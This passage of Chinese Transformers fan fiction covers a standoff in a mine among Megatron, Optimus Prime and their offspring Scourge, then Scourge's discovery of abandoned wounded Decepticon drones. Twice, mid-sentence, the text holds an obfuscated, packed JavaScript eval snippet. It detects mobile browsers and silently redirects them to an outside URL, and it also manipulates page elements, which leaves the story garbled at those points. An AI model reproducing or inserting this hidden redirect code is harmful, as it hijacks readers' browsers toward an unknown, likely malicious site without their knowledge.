“黑暗超能量体,传说是宇宙大帝的血液凝结而成,据说接触他的人都会遭遇不幸……”他夸张地打了个哆嗦,“您打算如何使用它?” 威震天不屑地冷笑,“我自然有我的安排,倒是你,我的首席副官,”他慢条斯理地背着手转过身,光学镜中的深意让红蜘蛛不寒而栗,“在我离开期间霸天虎有什么新的安排吗?” “当、当然没有,威震天陛下,一切都按照您的吩咐在进行,”他尬笑了两声,急忙谄媚地笑着说,“赛博坦已经尽入霸天虎的掌控,震荡波驻守在那里,您大可以放心。” “是吗?”威震天俯视着他,“可我怎么记着我最后的命令,是让你们驻守赛博坦。” 红蜘蛛在心里暗骂他被擎天柱揍了好几次的脑袋竟然还有这么好的记性,面上却讨好般地笑了笑,试图将这块糊弄过去,“哈哈……您也知道,赛博坦如今缺乏能源,仅剩的能量已经不足以支撑霸天虎的整体运转了,我是为了您回来能够受到整个霸天虎帝国的供奉才带着他们来到这里的。”他解释。 威震天没有说话,长久的沉默让红蜘蛛冷汗直冒,直到他的君主微微颌首,像是认可了他的说法。 “当然,红蜘蛛,你该知道违反我的命令的下场。” 没等红蜘蛛的回复,他自顾自地走出医疗室,轻飘飘留下一句话,“既然如此,一会儿便带我去你负责的矿场查验工作效果吧。” “当然,威震天陛下。”自动门关闭,隔绝了威震天的身影,红蜘蛛低下身子行礼,面甲上却一片冷漠。 不一会儿,两架飞机先后降落在A区矿场。 挖掘用的机器随意摆放在矿场外,威震天仿若没有看见一样陷进入了黑漆漆的洞穴中,红蜘蛛紧随其后也忐忑地跟了进去。 五分钟后。 一辆黑色的油罐车晃晃悠悠地打着灯缓缓驶入洞口。 19.机活着可能就是为了干饭 “……我数三下,大家都同时放下武器!” 本就狭窄的矿洞内,汽车人、霸天虎,还有一个和汽车人领袖相似却不同的机甲,三方势力组合成了一个诡异三角形占领了矿洞内的大部分空间。 红蜘蛛举着手大喊,冷凝液顺着他的背甲缓缓流下,他举着手炮犹豫不定,威震天在他身侧眯着眼举着融合炮直直对准了擎天柱。 汽车人们神色紧张,几对发光的臂炮充能,引擎不约而同发出低沉的轰鸣。 威震天和擎天柱谁也不肯先放下正对着彼此的武器,领袖卫队没有领袖的命令不敢轻举妄动,红蜘蛛则生怕他们哪个对准自己的火种就来一下。 鉴于这个局面开始前的情形,红蜘蛛怀疑自己可能才是这个矿洞里离回归火种源最近的那个机。 他们彼此对视又将目光投向那个共同的“不明人士”。 在三角形的另一侧,是一辆嘴角还留着蓝色能量液的黑色油罐车。 崭新的黑色喷漆让他几乎和矿洞的黑暗融为一体,猩红色的光学镜和与汽车人领袖极度相似的机体又昭示了他的身份,肩膀上的导弹冒着不详的红光锁定了在他左手边的领袖卫队,右边的威震天和红蜘蛛则被他双手上的臂炮死死怼着。 三方势力形成了一个稳定的三角形。 被那样一双神似威震天又有着领袖机体的机子盯着,饶是红蜘蛛都感觉自己的腿在发抖,三方势力彼此对视着,谁都不想率先放下武器。 红蜘蛛不得不硬着头皮再次建议。 “这个矿洞今天刚结束挖掘,如果我们任何一个人开枪,大家都会被埋在这里!” “我数三下,大家都放下武器!” 阿尔茜和身侧的隔板交换了下眼神,在领袖的默认下冲着红蜘蛛点了点头。 那辆黑色的油罐车抿着嘴看不清神情,但对此也没有提出异议。 红蜘蛛眼看着气氛越来越凝重,率先大喊。 “三!” “二。”阿尔茜说。 …… “嘎嘣!” 倒计时被迫结束,威震天和擎天柱同时转过头,在场所有人的目光都投向了发出“噪音”的原生体。 “干嘛。” 嘎嘣嘎嘣。 油罐车、天灾使劲咬了咬嘴里的能量晶体,顶着所有人一言难尽的眼神梗着嗓子把那些难以吸收的晶体碎块咽了下去。 咽下去时嘴角甚至还冒出来了两小股蓝色的能量烟雾。 他擦擦嘴角漏出来的能量液,又往嘴里扔了一块能量晶体。 那么看着他干嘛,机不能、至少不应该饿着肚子打架。 他麻木地看着其他人,他和这些能吃饱肚子的机没什么好说的,如果这两波人的领袖,就比如那个红蓝色的机子和银白色的机子也饿了一周多,顶着只剩下不到5%的能量在这里和大家玩“猜猜我们谁先开枪,谁后开枪谁就死翘翘”的游戏,那他们纯粹处理器有问题。 他一股脑把手里剩下的几个能量碎块都扔进嘴里,合上了自己的战术口罩。 晶体被咬碎和他牙齿研磨的小动静依然没逃过在场任何一个人的光学镜和音频接收器。 天灾对此照单全收。 毕竟,他能出来一趟还恰好找到这一处矿洞真的不容易。 塞拉斯那个老炉渣,说好的五个小时,但实际上他早就拿捏准了。 五个小时,他光是从机械党那个寒酸无比的废弃码头仓库绕出来都得花上一个半小时,等开到能看见人烟的地方又是一个小时,贾斯帕这块地方根本就是远郊区,他能找到的全是戈壁和黄沙,更别提他还得找能量填饱自己的肚子。 等他开到差不多的地方,五个小时最多剩下三个小时,他还得顾上返程的时间。 他又没有任何的探测工具,只能采取最原始的方式——犁地。 他连着三天把周边所有他能接收到的或强或弱的能量信号都看了一遍才找到这个矿洞。 结果他进来看到了什么? 啊哈!一个银色的铁桶头把另一个飞行单位甩了出去,还好巧不巧就砸在仅剩的那几块能量晶体旁边。 飞行单位吐出一口蓝色的能量液,顾不上伤势膝行到铁桶头面前恳求原谅。 他固然对这些同族有着好奇,也许他们还能帮自己把那些该死的炸弹拆下来,但…… 他毕竟只剩下4%的能量了。 他还不想死在这种地方。 所以。 干饭,机活着就是为了干饭,什么都不能阻止他先把自己的油箱喂饱。 他自然无暇顾及红蜘蛛和威震天的闹剧,只一心盯着那些杂兵们挖掘剩下的能量晶体,他关注的是——飞行单位落下来的碎石把那些晶体全埋住了。 天灾勃然大怒,他黑色的涂漆本能够帮助他安然躲在暗处等这些机离开他再出来大快朵颐,可天灾受不了这对他食物的侮辱。 炉渣的,那个飞行单位的“高跟鞋”把能量晶体都踩碎了! 他气冲冲地变形想给侮辱食物的铁桶和飞行单位一人一炮,别看他能量不高,但也能轰他们一人一个跟头! 也就在他从藏身之处变形冲出来的一瞬间,一辆红蓝色的大卡带着比被点燃怒火的油罐车还可怕的气势从天而降,他身后还跟着足足三个地面单位。 在卡车落地砸起的灰尘中,威震天、擎天柱以及天灾如同照镜子一般不约而同判断出了当前的形势并迅速变形抬起了自己的臂炮。 于是,就成了现在的局面。 嘎嘣嘎嘣…… 能量晶体被原生体的好牙口咬的嘎嘣脆,阿尔茜眼色复杂地看着他,一时之间不知道该说领袖的原生体就是不同凡响还是该说威震天的原生体就是心大。 他们是如何认出来的天灾的身份? 他们倒是想忽视这一点也不行——原生体的那双光学镜,和霸天虎首领的如出一辙。 更别提那具机体。 元始天尊在上,他可真是像他的sire们。 威震天的狡诈狠厉,领袖的博爱机敏,原生体身上将他们两者截然不同的气场融合得很好,连威震天和领袖本人也在看见他的一瞬间晃神,更别提红蜘蛛和汽车人们。 然而隔着战术口罩也能看出原生体在口罩的掩盖下还在猛吃。 虽然说原生体本就是独立的个体,但是看到熟悉的机体搭配这样堪称幼稚的行为,在这样严肃的情况下,哪怕是领袖手底下的亲兵也难免露出难以直视的表情。 大黄蜂发出惊叹的蜂鸣,偷瞄领袖的脸色,然而战术面罩也将领袖的神情遮了个一干二净。 擎天柱紧皱着面甲,手上的武器没有因为原生体而放下,他本是为了威震天的能量信号而来,却没想到会在这里撞见他们暗中搜寻了三天也丝毫不见音讯的原生体,更别提这种诡异的三方对峙的情况。 这不是他设想中与原生体相见的场景。 可命运又哪次如他所愿过。 领袖的眼神微不可查地黯淡一瞬,又强迫自己打起精神应对接下来的发展。 在这样奇怪的气氛中,威震天率先放下了手中的融合炮。 “所以,小子,你就是我和擎天柱的小火种吗?” 霸天虎狡猾的首领伸出一只手,语气柔和,文质彬彬,像是真的在询问天灾的想法。 他的动作像是一个信号,红蜘蛛和汽车人,包括擎天柱在内都在此刻关闭了武器的充能回路。 天灾是最后一个放下的。 威震天还维持着那个姿势,如果不是在场的机除了原生体都已经对他的本性了若指掌,恐怕真会被他的外表骗过去,以为他是什么正人君子。 原生体的武器系统归位,他依然没有打开面罩,只是犹疑不定地盯着威震天的脸看。 他没有搭上霸天虎首领伸出的爪子。 这让一直观察着他的领袖松了口气,毕竟威震天有多么善于蛊惑人心,他早有领略。 只见原生体站直了身体,喉咙咕噜一声咽下了嘴里的碎渣才终于舍得打开自己的战术口罩,露出一张过分年轻的面甲。 “你是谁。”原生体没有被威震天的假把式唬住,两双同样猩红的目镜对视,天灾丝毫没有退缩,他盯着霸天虎首领令人生畏的目光反问道。 “我?” 威震天顺势收回自己做出邀请姿态的左手,丝毫没有因为油罐车不敬的态度气恼。 “我是你遗传信息的提供者” “霸天虎的首领” “你的sire。” 他带着话剧般的演出感向着原生体宣告。 几双光学镜同时盯着矿洞中央的一大一小。 在大家的注视下,原生体动了动自己的音频接收器,歪着头问他他: “谁?” 在场不知道是谁发出了一声嗤笑,多半是红蜘蛛。 威震天也愣了一下,反应过来后瞪了一眼憋笑的红蜘蛛,看着原生体脸上的理所当然,磨了磨牙。 “你爹。” 现在磨牙的机变成了两个。 紧张的气氛戛然而止,这下连领袖也忍不住笑意了,他咔嚓一声收回了自己的战术口罩。 他露出一个友善的笑容,“我是擎天柱,你遗传信息的另一个提供者。” 天灾收回停留在威震天脸上的目光,眼色复杂地看向擎天柱,“我知道。” 在他们观察着自己的时候,原生体也在观察他们。 天灾不傻,他的处理器继承自领袖,甚至可以称得上是优越。 既然当初那个人类军官能指着自己叫出擎天柱,那么这个所谓的领袖就一定和自己有着某种相似之处,他在看见红蓝色重卡从天而降的时候就明确了这一点,确认领袖的身份并不难,让他惊讶的是威震天。 他想过自己的两个sire可能是两个地面单位,甚至是两个大型机,也可能分属相同的阵营——比如霸天虎,不然如何解释他猩红的目镜和巨大的能源需求。 可是他的两个sire是威震天和擎天柱,霸天虎的首领和汽车人的领袖。 太好了,是两方阵营的老大。 他没救了。 小油罐车芯里捉急,面上却依然沉稳,直到领袖的声音再度打断他的思索。 “那么,你叫什么名字?” “小鬼,报上你的名字。” 一边是领袖温和的询问,一边是霸天虎首领抱着胸在等待他的答复。 他的两个sire看起来貌似都不是他目前可以拒绝的人。 于是油罐车压制住自己的不喜,也学着威震天的样子抱起胸,抬了抬下巴。 “天灾(Scourge),” “记住这个名字,” “因为我是即将成为打败你们的机。” 黑色的小油罐车回忆着塞拉斯的话,他搜肠刮肚也只能回忆起人类向他赐名时的嘴脸,但此刻,本能告诉他气势上不能输。 于是他克制住自己,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779872|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两位领袖的注视下爆出自己的名号。 天灾绷着脸的时候其实和他的sire差别不大,此时看着倒像是没了几分稚气多了几分领袖的气质。 这下偷笑的机没了,但明目张胆笑出来的机更多了。 红蜘蛛指着他发出尖锐的嘲笑,顾不上自己身上威震天揍出来的伤也要说威震天怎么有这么有趣的一个creation,而大黄蜂笑得连电子音都发得断断续续,以天灾的耳力,他连隔板音频接收器里美琪惊天动地的大笑都听得一清二楚。 他麻着脸,没有任何表情。 他扫视过一圈阵营互不相同但是在此刻表情一致的机,在芯里暗暗记仇。 此时两位因为各种各样原因没有笑的领袖就格外突出了,威震天的面甲都有些扭曲,而擎天柱只是露出了一个更为柔和的表情,“天灾吗,真是一个好名字……” “这是你自己取的吗?” 天灾的理智又回来了,他转过目镜,盯着领袖,“哈,所以你不知道。” “……什么?” 领袖不明所以。 天灾不愿意多提及自己的现状,但他的sire对自己的情况并不知晓,这多少宽慰他领袖只是不知道自己的情况,而不是放任自己自生自灭。 “我……” 天灾的话被打断在发声器里,塞拉斯的声音在此刻突兀响起。 “天灾,你已经停留在那里半个小时了……”他像条阴狠的毒蛇,在天灾的音频接收器中低语,“你碰到什么了吗?” “或者我该说,” “你遇到谁了吗?” 擎天柱只见刚刚还神情轻松的天灾脸色陡然阴沉,和自己相似的两根通信天线微微转动,他低声说了一些什么,转而下意识地抚上了自己脖子上的项圈。 ……那是天灾机体自带的东西吗? 不,领袖否决了自己的判断,那样突兀的东西绝不是天灾的机体自带的,那更像是一种外界强行介入的物质——一个控制器。 或者说,一个象征驯服的标志。 他和威震天在此刻心有灵犀地对视,四百万年交情的老对手瞬间互相交换了想法。 “天灾,”掐准天灾停止通讯的那一刻,擎天柱率先开口,面对原生体投来的询问的眼神,他问道:“你想要加入我们吗?” 威震天接上擎天柱的话,意有所指,“既然你还没有阵营标志,小子,给你两个选择,”他大发慈悲地再度向着天灾抛出橄榄枝,“我,还是他?” 友善的气氛戛然终结,擎天柱也柔和地向他伸出手。 “霸天虎,或者……” “汽车人。” 两个选择抛在天灾面前,他“咔”地一声突然合上了自己的面罩。 这远不是一个选择。 他根本没有选择。 他咬紧牙关,希望面罩能隔绝他所有的情绪。 他们从来没给自己选择。 自他落入人类手中,自他作为原生体降生,他就不再拥有选择的权利。 汽车人?霸天虎?哈! 底层代码疯狂运转,他压制住CPU中过热而产生乱码的数据流,矛盾感撕扯着他几乎把他的火种撕成既然不同的两部分。 又来了,这种感觉!他压下愤怒,训斥自己不服从自己的处理器,既然你属于我的机体,那就得按照我的规则来! 他在芯底怒吼,在过度激荡的情感回路冲击下,底层代码终于偃旗息鼓停止了运转。 此时威震天和擎天柱的面甲和他们各自伸出的手也再度映入他的光学镜。 他再克制不住嘲讽,威震天也是,擎天柱也是,一群伪善的领袖,他猩红的光学镜突然冒出了憎恨的光芒,这让擎天柱的芯里陡然一惊,原生体的面甲和万年前在议会面前和他决裂的震天尊重合,一种相似的极度不安席卷领袖的火种,他几乎就要忍不住去抓天灾的手爪了。 “天……” “够了!”原生体毫无征兆地后退变形,“我不会加入你们任何一方!” 黑色的油罐车冒出股股黑烟,不顾领袖的阻拦,他彻底驶入黑暗。 不明所以的两个机愣在原地,眼看着他们的造物再次消失。 威震天眯了眯眼睛,对这场闹剧不置可否。 “看来这次我们也不是毫无收获。” “红蜘蛛,你该感谢今天这场闹剧让你保住一命。” 他又转过头看向另一头的擎天柱,“领袖,我们来日方长。” 说完,战机直接变形飞入了漫长黑夜。 “擎天柱……”阿尔茜担忧地走上前,原生体的突然出现和突然发难都让大家难以预料,但起码,他们知道了原生体的下落。 领袖不愿他们再为自己担忧,只是挥了挥手,让大家不要担心。 几分钟后,汽车人们卷起的烟雾也消失在隧道尽头。 谁也没注意到刚刚那辆小油罐车鬼鬼祟祟地再度开了回来。 没办法,他真的很饿。 也就在小油罐车在矿洞里挖挖捡捡的时候,一架霸天虎的劳工级杂兵也在他身后冒出了一个头。 猝不及防下,油罐车和杂兵狠狠来了个头碰头。 碰!!! 两声闷哼同时响起,油罐车和杂兵也各自一屁股跌坐在了地上。 杂兵晃晃悠悠在看清他的一瞬间发出了一小声尖叫。 “火种源啊!擎天柱!!!” “炉渣的!我不是!” 20.初遇 “擎天柱!!!你、你这个汽车人的卒子!别想从我嘴里获得一丝一毫能量块的消息!” 紫色的小飞机害怕地在地上缩成了一团,连身后的机翼都在颤动,然而却依然大喊着自己绝不可能泄露任何矿区“机密”。 本来就饿得发慌的天灾因为这突兀的“袭击”眼冒金星,听到杂兵的尖叫,他顾不上自己被撞得生疼的头雕,叉着腰站起身,“恶狠狠”盯着在地上缩成一团的小飞机。 凭他的体型,很轻易地就可以将地上的小飞机都拢进自己的阴影中。 所以为什么一架小飞机撞人会这么痛? 而且,他的处理器迅速闪过光学镜中捕捉到的信息。 没有装备任何大功率伤害性武器、涂装黯淡、浑身满是金属挫伤、大量的手爪磨损,甚至连他的变形缝隙里都是地球上土层的碎屑。 还有胸口和威震天一样的阵营标志…… 毫无疑问这是一架处于底层的霸天虎飞行单位。 这种等级的机子用他的变形齿轮想也知道他不可能知道任何关于霸天虎的“机密”。 以及没吃饱,赛博坦人的装甲和防御力真的会变弱。 他看了眼自己昨天费了老大功夫才重新喷涂好的涂装。 那上面已经因为这轻轻一撞出现了新的剐蹭和凹陷。 天灾刚刚压制下去的火气立刻蹭蹭上涨。 他可是把周边逛了一个遍才发现的那一家能喷漆的汽车维修店! 这架飞机到底知不知道在“宵禁”前人类完成一辆大型油罐车全身喷漆的含金量?! 他不是多在意外表的机,但是这漆在他身上待了甚至还没到24小时。 他没好气地指着自己昨天刚喷好的黑色涂装,让杂兵凑近看。 “看好了,黑色的涂装,我不是擎天柱。” 黑得反光的涂装稍微被蹭掉了些,但从机体的细节和性格上,这个机都决不可能是他们的首领天天挂在嘴边的擎天柱。 “你、你不是?”杂兵磕磕巴巴,被他硬拉着头雕才不得不睁开光学镜。 “啊……真……真的是黑色的……” 他的脑模块反应了一阵才回过神,惊恐的神色慢慢从他的面甲上褪去了。 杂兵的处理器记不住事情,情绪来得快去得也快,他刷新了几遍光学镜,上下看了天灾好几遍才真的确认他并非是擎天柱突发奇想给自己换了身新颜色。 “你不是擎天柱,可是你看起来和他好像。”小飞机恢复了自然的神色,也能说出不磕巴的一句话了。 “你没有霸天虎的标志,但也没有汽车人的标志,”他念念有词,“所以你肯定也不是他假扮来骗我们的间谍。” “你是……擎天柱的火种兄弟吗?或者是复制体?” “或者……” “你是他的孩子!?”小飞机的光学镜“噌”地一下亮了。 “当……咳咳。”火气因为这简单一句问话又轻而易举被浇灭,要说出口的承认绕了个弯,天灾假装咳嗽了一声,既没有承认也没有否认,说道:“你难道就没有碰见过和你机体差不多的机吗?” 这下换刚刚还惊恐异常但誓死不从的杂兵对他露出古怪的表情了。 “……你为什么这个表情。”天灾吐槽了一句,但还是伸出尖锐的爪子将还瘫坐在地上的飞行单位拉了起来。 “因为我的兄弟们,都是同一种框架。”小飞机的话慢了半拍飘进天灾的处理器。 油罐车眼神复杂地看着他,“你们也是被制造出来的原生体吗?” “原生体?”小飞机拍了拍身上的灰尘,眼神依然古怪,“我们可不是那么贵重的东西。” “我们是从报应号的流水线上被统一制造出来的士兵。” “……这样啊。”天灾不知道自己听到他的回答而产生的低落心情是怎么回事,新诞生的火种尚且还不能准确地区分心中的情绪,但他也知道这并不算是一个好话题。 被制造出来的杂兵和被制造出来的原生体争论到底他们哪个更贵重,听起来简直像是什么三流地狱笑话。 小飞机在这个时候也收拾好了自己,他重新站直机体,此时天灾才发现他身上的伤远比自己看到的要更多,杂兵的小腿背板裂开了一道深可见到内部线路的伤口,暗褐色的锈迹从内部逐渐腐蚀到了整条右腿,起到保护作用的外装甲已经沦为锈蚀的温床在轻微的触碰下也会掉下簌簌铁渣。 “既然你不是汽车人,那你就不是我的敌人,”紫色的飞机显然已经习惯了右腿的疼痛,他歪歪头,两条猩红色的光学窥孔望向天灾,“快离开这里吧,中立派就该去中立派的地方。” “趁着还没人看到你。” 他说完就打算拖着已经失灵的右腿就此离开。 “喂,”天灾皱着眉叫住他,“你伤成这样还想去哪里,你们霸天虎没有医疗兵吗?” 杂兵转过头像是疑惑,“医生不会把资源耗费在战争耗材上。” 他说的理所当然,好像那个面临着报废风险的机不是自己一样,就这样轻易地接受了自己是战争的消耗品的现实。 天灾看着他的面甲,这还是他自诞生以来头一次不知道该说些什么。 他不明白,明明眼前的这个机子也和自己一样,有着独立的思想和自己的喜怒哀乐,为什么会被视作一件可以被随意丢弃的东西。 就像他也不明白为什么自己要作为两位领袖的造物诞生,却又不被他们所接受。 “好了,你快走吧,保不准红蜘蛛指挥官和威震天陛下会过来,他们不会放过你的。” 小飞机依然在劝说他离开,天灾却在纷乱的情绪中抓住了关键。 “……你一直在劝我离开,”他眯了眯光学镜,“可一架受伤、失去利用价值的霸天虎底层士兵独自在这里干什么?” 在他说完后杂兵果不其然露出了畏惧。 “这里的矿区早已经结束了挖掘,而你却依然逗留在这里……” 「霸天虎的医生不会把资源浪费在杂兵身上。」 「这个矿区今天就已经结束挖掘了!」 天灾反刍着今晚早些时候红蜘蛛和刚刚杂兵告诉自己的话,他盯着已经逐渐开始颤抖的飞行单位,一字一顿地说道: “真正不该留在这里的机,是你才对吧?” 这下那架伤势严重的小飞机真的开始面露哀求之色了,天灾其实并没有捉人痛楚的习惯,但他真的很讨厌有机子欺骗自己,特别是这种拿着并不高明的手段试图愚弄他的。 小飞机试图冷静,脸上的惊恐终于有了个十成十的真实,此时天灾想明白后再回想刚刚的一切只觉得他一开始的表现多半有演的成分。 再一想到被他骗得团团转的自己,哪怕只有短短几分钟,他也为此感到不爽。 毕竟如果是威震天或者擎天柱,恐怕在杂兵出现的一瞬间就猜到原因了。 想到这里他脸上的神情更加可怕了。 “额……我……”杂兵在他的逼问下语无伦次,还在试图找个合理的理由。 然而看着天灾脸上的冷峻越来越深,他放弃了更多谎言。 “对不起,”小飞机坦诚道歉,连带着身后的机翼都垂了下去,“我不是刻意隐瞒你的。”他掰扯着自己的手指,“但真的是事出有因!”他慌张地解释,希望自己现在的坦白不会再激怒眼前这个和汽车人领袖过分相似的机子。 天灾闻言抱起胸,摆明了你接着撒谎我在听的架势。 飞行单位没了辙,知道自己的言语已经在天灾那里彻底失了信用,他指了指自己身后漆黑的矿洞,示意天灾跟着自己进去。 “跟我来吧。”他一瘸一拐地走在前面,天灾看了眼自己恢复到20%的能量储备,跟在了他的身后。 …… “你要带我去哪儿?” 漆黑狭窄的矿道里,一大一小两个机子一前一后地走着,自他跟着这架小飞机钻进隧道,他们已经七扭八拐地走了足足十分钟了,如果不是前面有个引路人,天灾敢打包票自己绝对找不到这个地方,然而走到现在他依然没有看到隧道的尽头。 “很快了,走过前面那个口子就到了!”小飞机听到他的询问急忙解释。 又是一处极狭窄的通道,前面的飞行单位放下机翼走了进去,天灾低下头微微侧身贴着一块岩壁而过,一阵刺耳的剐蹭声,他一低头,果不其然胸口新换的车窗也被划出了一道极细极长的划痕。 他悄悄叹了口气,看来这身涂装是白换了。 秒变战损版。 他暗暗为自己的涂装默哀完,一抬头却惊讶地发现自己已经来到了另一处截然不同的大型矿区。 穿过小口后矿洞陡然变得宽阔起来,通往更深处的隧道中隐约冒出火光,最宽阔的地方甚至可以容纳三个像他一样的大型机并排通过。 “K-75?” “是K-75回来了!太好了!” “K-75,外面怎么样?汽车人走了吗?” “可是为什么好像有两个脚步声?” “K-75……” 杂乱的赛博坦人的电子磁场萦绕在天灾的周边,磁场中满是他无法解读的不安和期待,絮絮叨叨的低语也多了起来,天灾挑了下眉,眼看着面前的小飞机在隧道的一处摸索了一会儿,在一个极隐蔽的隧道岔路钻了进去。 天灾紧跟在他后面,而在他钻出来后,那些磁场、低语都消失了。 岔路后面是一处更为宽阔的平地,挖矿机的灯光照亮了大片空地,杂乱的器材随意堆放,更多的则是密密麻麻几乎铺满了每一块地面的紫色色块。 油罐车猩红的光学镜眨巴了两下在适应了陡然明亮的光源再度睁开。 他只看见了一地眼神呆滞只盯着他发愣的霸天虎杂兵们。 那些紫色的色块,全部都是席地而坐、在呻吟着的霸天虎士兵。 那些受了伤的战士们迷茫又震惊地看着他,像是还没搞懂什么情况,而少有的几个还有行动能力的霸天虎士兵则在看清楚他机体的一瞬间恐惧地站起身拿起武器对准了他。 “擎天柱!!!” “炉渣的!是汽车人的老大!” “议会的走狗!” 此言一出现场立刻如同进了黄鼠狼的鸡窝,几十个杂兵乱糟糟地开始混乱起来。 而天灾此时还没反应过来是什么情况,他看着眼前的情况只觉得像是看见了一窝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788585|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炸了毛的小鸟。 K-75在这个时候安抚住了激动起来的其他人,从头解释了一遍天灾的身份。 “好了好了,放下你的枪吧S-569,你的充能回路早就熔毁了。” “他不是擎天柱……对,他只是和擎天柱长得像。” “……把H-45按下去!他的伤昨天才刚补好!” K-75头疼地一边向着受惊的杂兵们解释着,一边还得注意那些伤势过重的机别一个激动把自己送回火种源。 混乱了好一会儿才终于把大家都安抚住。 天灾也在那边站了好一会儿桩。 实在是飞行单位太多,一乱起来他们的机翼就胡乱飞,他可不想被机翼扇一下。 不疼,但实在是丢机。 眼看着情况稳定下来,他才向着满头冷凝液的K-75问道:“所以……这就是你欺骗我的原因?” “你希望我离开是为了不暴露这些伤员,你害怕的是威震天和红蜘蛛被我吸引,从而导致这些机子被他们发现?” “是的。”K-75垂下头,身后的一众霸天虎也不约而同的沉默。 几十双目镜疲惫又绝望地看向天灾,他一一扫视过他们的机体,这里面伤势最轻的机也是如K-75一般的伤势,伤势过重、缺胳膊少腿的机子比比皆是,更别提那些昏迷过去的机子。 而且不光是K-75一样的劳工级,就连战斗级别的杂兵在这里也不是少数,他转过头告诉K-75:“你欺骗我的事情,就此揭过。” 眼前小飞机的光学镜立刻亮起了光。 “但我不明白,如果霸天虎真的有这么多伤员,你们的医生总不可能把你们丢在矿洞里自生自灭……” K-75还没来得及开口,天灾身前的一台机子便苦笑一声说道:“但他也不会救我们。” “我们是从霸天虎的废弃坑里爬出来的机子,威震天陛下不需要失去战斗能力的士兵。” 另一台失去了两只光学镜的机子接上他的话,“失去价值的士兵是不值得活下去的。” 其他的机子不说话了,然而在此时,沉默就是最好的回答。 天灾置换了两口气,将K-75拉到了一边,“所以,你们是逃兵。” K-75这时候竟然还笑得出来,“不,我们没有从战场临阵脱逃,我们只是没有回去。” “回去?” “嗯,”K-75点头,“我的腿伤在一场矿难里,刚刚说话的是S-569,他的机体被汽车人毁掉了一大半,能活下来全靠他命大……” “我们全部都上了声波长官的死亡名录,是霸天虎杂兵日常损耗配额的一部分。” “也就是说……”天灾艰难地说,“你们在霸天虎的官方记录里,已经确认死亡了?” 小飞机想了想,摇了摇头,“没有确认死亡,因为矿场没有派出搜救的队伍,我们只是被确认失踪。” “不过实际上如果我们选择回去,多半也不会有长官注意到哪个矿场或者哪个地方多了几个杂兵吧。”他爽朗地回复。 天灾看了看他,又看了看身后因为危机解除,又心大地开始互相处理伤势、补充能量的杂兵们。 他能说什么,他一开始跟着K-75回来可没预料到会看到这种情形。 “你一开始从这里出去也是为了他们?” “算是吧,我检测到了威震天陛下和红蜘蛛指挥官,甚至还有汽车人的能量磁场,所以出去看看情况,没想到会遇到你。” “不好意思,骗了你。”似乎是确认了天灾毫无威胁,K-75也放松了警戒心。 “我没想到你真的会听我说话,还相信了。” 天灾对此是真的没辙了,他张了张嘴,才说:“你一开始的演技,是你自己想的?” “不,当然不是,”K-75说,“是K-19。” 又一个陌生的名字。 天灾想。 “是他把我从石头底下挖出来的,也是他把大家聚在这里的。”小飞机抖了抖机翼,“啊!他来了!” 天灾回过头,看到一个同样漆面斑驳、满身划痕的量产机。 没有装备任何大功率伤害性武器、手爪磨损、金属挫伤、同样的机体、同样的机翼、还有两条与其他杂兵无异的猩红的光学窥视孔…… 天灾的处理器得出相同的结论,唯一不同的是这个机手上抱着的能量方块。 “额……你好?”K-19抱着能量盒,向眼前这个酷似领袖的陌生机子歪了歪头。 能量液的味道钻入天灾的嗅觉系统,嘴中电解液开始不自觉地分泌,就在此时天灾的系统发出了一声机体能耗过低的警报声。 天灾的面甲立刻开始升温了。 他庆幸自己在见到K-19之前就带上了面罩。 细小的声音没躲过杂兵的音频接收器,K-19,这个刚刚出现的机子笑出了声。 “还是先补充能量吧。” “其他的事情一会儿再说。” 一块装满了能量液的盒子被K-19放到了天灾手中。 小油罐车看看他又看看手中的能量,选择听从他的建议,暂时填饱自己的油箱。 21.不必救他 “……” 空地中央,几个蓝色的大型能量匣被放置在地面上,天灾看看手中被塞过来的装着能量液的小匣子,又看看在场地中央分发能量的K-19,没搞懂事情是怎么变成这样的。 他明明只是跟着另一架小飞机过来看看情况的,怎么就变成他在这边看着大家开饭了? 而且还是和霸天虎的“阵亡士兵”们…… 虽然他这次过来本来就是为了找能量,可现在的发展是不是哪里不太对劲? 他注视着量产们有序地接过自己的份额又各自找了地方坐下。 天尊在上,他们甚至还贴心地给自己留了位置。 天灾看到K-75指着自己身边的空地冲着自己招了招手,好像自己和他们说了几句话还没有动手就被这群小飞机们自动划分为了自己人一样。 他沉默地拿着手里的能量在K-75身边坐下了。 说白了他现在其实和霸天虎、汽车人都是敌对关系吧? 他还没有天真到认为自己与霸天虎首领的亲缘关系可以让威震天对自己的威胁视而不见。 处理器中关于威震天的词条被他一个个修改,仁慈、宽容……这都是些什么形容词,他暗自诽谤,哪怕只打了一个照面,他也将自己的这两位sire大致的性格摸了个底。 他看得清楚,当他出现在威震天眼前,他的这位sire光学镜中分明是毫无隐藏的野心和势在必得。 更别提当自己拒绝时他周身一闪而过的杀意。 这哪里和这些词有一丝一毫的关联性? 这些词语分明更适合汽车人的领袖。 那双忧愁的湛蓝色光学镜一闪而过,处理器微微卡壳,天灾压制下自己火种中的异样,找了个地方坐下,手爪轻而易举揭开了能量匣的封口,液体晃动,能量液的味道立刻扑面而来。 饥肠辘辘的油箱早已经迫不及待,他却忍耐下饥饿没有立刻喝下这些精炼过的能量。 